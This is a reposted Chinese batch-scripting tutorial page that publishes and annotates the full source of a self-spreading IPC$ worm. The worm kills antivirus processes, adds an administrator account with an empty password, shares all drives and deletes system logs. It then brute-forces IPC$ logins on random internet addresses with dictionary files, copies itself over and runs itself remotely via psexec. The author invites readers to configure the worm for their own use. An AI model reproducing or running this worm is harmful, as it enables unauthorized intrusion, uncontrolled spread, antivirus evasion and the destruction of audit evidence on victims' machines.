bat教程

源代码在线查看: 分析一个用批处理编写的蠕虫.txt

软件大小: 247 K
上传用户: kzdai22
关键词: bat 教程
下载地址: 免注册下载 普通下载 VIP

相关代码

				
				   
				  分析一个用批处理编写的蠕虫            【字体:小 大】 
				 
				  
				   
				   
				 分析一个用批处理编写的蠕虫 
				 
				作者:红衣刺客 文章来源:IDS网络安全小组 点击数:1443 更新时间:2004-8-27 
				 
				 
				   前几天闲来无事,用批处理写了蠕虫。把源代码公布出来分析一下。希望大家共同进步。
				
				源代码如下(把下面的代码保存为Rundll32.bat):
				
				REM -----IPC Worm V2.0 -----
				REM  ########################
				REM 配置部分
				SET addadmin=worm 
				SET SORI=1
				SET ADDR1=254
				SET ADDR2=254
				SET ADDR3=254
				SET ADDR4=254
				SET WORM=Rundll32.bat
				REM #######################
				Copy /y %windir%\system32\%WORM% C:\Autoexec.bat
				Copy /y %windir%\system32\%WORM% %windir%\system32\Winstart.bat
				PSK Rfw.exe
				PSK KAVPFW.exe
				PSK KAV9X.exe
				PSK VPC32.exe
				PSK PFW.exe
				PSK RavMon.exe
				net user %addadmin% /add
				IF %ERRORLEVEL%==0 net localgroup Administrators %addadmin% /add
				net share ipc$
				net share admin$
				net share C$=c:\
				net share D$=d:\
				net share E$=e:\
				net share F$=f:\
				del %windir%\system32\logfiles\w3svc1\*.* /f /q
				del %windir%\system32\logfiles\w3svc2\*.* /f /q
				del %windir%\system32\config\*.event /f /q
				del %windir%\system32dtclog\*.* /f /q
				del %windir%\*.txt /f /q
				del %windir%\*.log /f /q
				
				:IPADDRESS
				IF %SORI%==4 SET /A ADDR4=%RANDOM% %% %ADDR4%
				
				IF %SORI%==3 (
				SET /A ADDR3=%RANDOM% %% %ADDR3%
				SET /A ADDR4=%RANDOM% %% %ADDR4%
				)
				IF %SORI%==2 (
				SET /A ADDR2=%RANDOM% %% %ADDR2%
				SET /A ADDR3=%RANDOM% %% %ADDR3%
				SET /A ADDR4=%RANDOM% %% %ADDR4%
				)
				IF %SORI%==1 (
				SET /A ADDR1=%RANDOM% %% %ADDR1%
				SET /A ADDR2=%RANDOM% %% %ADDR2%
				SET /A ADDR3=%RANDOM% %% %ADDR3%
				SET /A ADDR4=%RANDOM% %% %ADDR4%
				)   
				SET ADDRESS=%ADDR1%.%ADDR2%.%ADDR3%.%ADDR4%
				FOR /F %%K IN (%windir%\system32\U.txt) DO FOR /F %%J IN (%windir%\system32\P.txt) DO NET USE \\%ADDRESS%\IPC$ %%J /USER:%%K & IF NOT errorlevel 1 GOTO RUN
				GOTO IPADDRESS
				
				:RUN
				COPY Rundll.bat \\%ADDRESS%\ADMIN$\SYSTEM32\%WORM%
				IF errorlevel 1 GOTO ERR
				COPY U.txt \\%ADDRESS%\ADMIN$\SYSTEM32\
				COPY P.txt \\%ADDRESS%\ADMIN$\SYSTEM32\
				COPY PS \\%ADDRESS%\ADMIN$\SYSTEM32\
				COPY PSK \\%ADDRESS%\ADMIN$\SYSTEM32\
				PS \\%ADDRESS% %windir%\system32\%WORM%
				
				NET USE \\%ADDRESS%\IPC$ /DEL
				GOTO IPADDRESS
				
				这里面用到了pskill, psexec 这两个小工具和两个猜解用户密码的字典文件U.txt 和 P.txt。
				
				这只蠕虫(IPC worm)的功能:
				
				1、杀死本地杀毒程序的进程。(可以杀掉瑞星、金山、天网和赛门铁克。)
				2、在本地添加一个用户,用户名可以自定义,密码为空。
				3. 把自身复制到启动项。
				4. 共享C D E F 盘。
				4、随即生成一个IP地址。   (可以自由定义IP范围)
				5、扫描弱口令。
				7、复制自身到目标主机,并执行。
				
				由于防止使用者恶意破坏。只编写了感染部分和传播部分,没有对破坏部分进行编写。现在只可以定义为一条共享蠕虫。
				
				分析:
				REM 配置部分
				REM addadmin=worm
				你要建立的用户,默认为worm
				
				SET ADDR1=254
				循环IP第一部分
				
				SET ADDR2=254
				循环IP第二部分
				SET ADDR3=254
				
				循环IP第三部分
				SET ADDR4=254
				
				循环IP第四部分
				SET SORI=1
				随机开关,如果是4则以第四部分为上限,生成192.168.0.1—192.168.0.255中的随机地址,如果为3,则第三部分和第四部分都是随机,以此类推。默认为0.0.0.0-254.254.254.254之内的随机IP,也就是全世界,当然大家可以自己配置IP范围。
				
				SET WORM=Rundll32.bat
				定义蠕虫的名称,默认为Rundll32.bat。
				
				这一段为配置部分,大家可以根据自己的需求和喜好配置自己的小虫虫。下面开始对这个蠕虫的行为进行分析。
				
				Copy /y %windir%\system32\%WORM% C:\Autoexec.bat
				Copy /y %windir%\system32\%WORM% %windir%\system32\Winstart.bat
				把自身复制到启动项Autoexec.bat和Winstart.bat中,双保险,呵呵,够黑吧!
				
				PSK Rfw.exe
				PSK KAVPFW.exe
				PSK KAV9X.exe
				PSK VPC32.exe
				PSK PFW.exe
				PSK RavMon.exe
				杀掉反病毒进程,用到了pkill这个小工具,这里改名为PSK。
				
				net user %addadmin% /add
				IF %ERRORLEVEL%==0 net localgroup Administrators %addadmin% /add
				建立你所要建立的用户名,并把其加入管理员组。
				net share ipc$
				net share admin$
				net share C$=c:\
				net share D$=d:\
				net share E$=e:\
				net share F$=f:\
				共享C D E F 盘。当然你还可以再添加。格式:net share 共享名=共享硬盘。
				
				del %windir%\system32\logfiles\w3svc1\*.* /f /q
				del %windir%\system32\logfiles\w3svc2\*.* /f /q
				del %windir%\system32\config\*.event /f /q
				del %windir%\system32dtclog\*.* /f /q
				del %windir%\*.txt /f /q
				del %windir%\*.log /f /q
				清除所有日志,呵呵,管理员不要吐血哦
				
				下面就到了精彩的传播部分
				
				:IPADDRESS
				IF %SORI%==4 SET /A ADDR4=%RANDOM% %% %ADDR4%
				
				IF %SORI%==3 (
				SET /A ADDR3=%RANDOM% %% %ADDR3%
				SET /A ADDR4=%RANDOM% %% %ADDR4%
				)
				IF %SORI%==2 (
				SET /A ADDR2=%RANDOM% %% %ADDR2%
				SET /A ADDR3=%RANDOM% %% %ADDR3%
				SET /A ADDR4=%RANDOM% %% %ADDR4%
				)
				IF %SORI%==1 (
				SET /A ADDR1=%RANDOM% %% %ADDR1%
				SET /A ADDR2=%RANDOM% %% %ADDR2%
				SET /A ADDR3=%RANDOM% %% %ADDR3%
				SET /A ADDR4=%RANDOM% %% %ADDR4%
				)   
				SET ADDRESS=%ADDR1%.%ADDR2%.%ADDR3%.%ADDR4%
				
				随机生成IP地址,如果SORI的值为1,则循环IP第四部分,如果SORI的值为2,则循环IP第四部分和第三部分,依此类推。ADDRESS定义为随机IP部分的这里用到了RANDOM这个随机函数,建议大家看看Windows的帮助。
				
				
				FOR /F %%K IN (%windir%\system32\U.txt) DO FOR /F %%J IN (%windir%\system32\P.txt) DO NET USE \\%ADDRESS%\IPC$ %%J /USER:%%K & IF NOT errorlevel 1 GOTO RUN
				GOTO IPADDRESS (也就是重新随机定义IP)
				
				呵呵,绝对经典的一句,用了For的双层循环猜解用户名和密码(U.txt为用户字典,P.txt为密码字典),如果正确GOTO RUN,错误GOTO IPADDRESS。建议大家好好琢磨琢磨这一句话。
				
				:RUN
				COPY Rundll.bat \\%ADDRESS%\ADMIN$\SYSTEM32\%WORM%
				IF errorlevel 1 GOTO ERR
				COPY U.txt \\%ADDRESS%\ADMIN$\SYSTEM32\
				COPY P.txt \\%ADDRESS%\ADMIN$\SYSTEM32\
				COPY PS \\%ADDRESS%\ADMIN$\SYSTEM32\
				COPY PSK \\%ADDRESS%\ADMIN$\SYSTEM32\
				PS \\%ADDRESS% %windir%\system32\%WORM%
				
				RUN部分,建立IPC$成功后把自身复制到目标IP的SYSTEM32目录下,并用psexec远程执行蠕虫主体(这里为PS)。
				
				NET USE \\%ADDRESS%\IPC$ /DEL
				GOTO IPADDRESS
				
				删除IPC$联接
				
				我想通过我的分析,大家应该会对批处理有些了解,也大概明白了蠕虫病毒的行为特点。现在还存在一个问题,就是无法实现随机IP段。如果你有什么好的建议或者想法,欢迎与我联系。我的QQ是158017079。
				
				 
				 
				 
				 
				 
				 
							

相关资源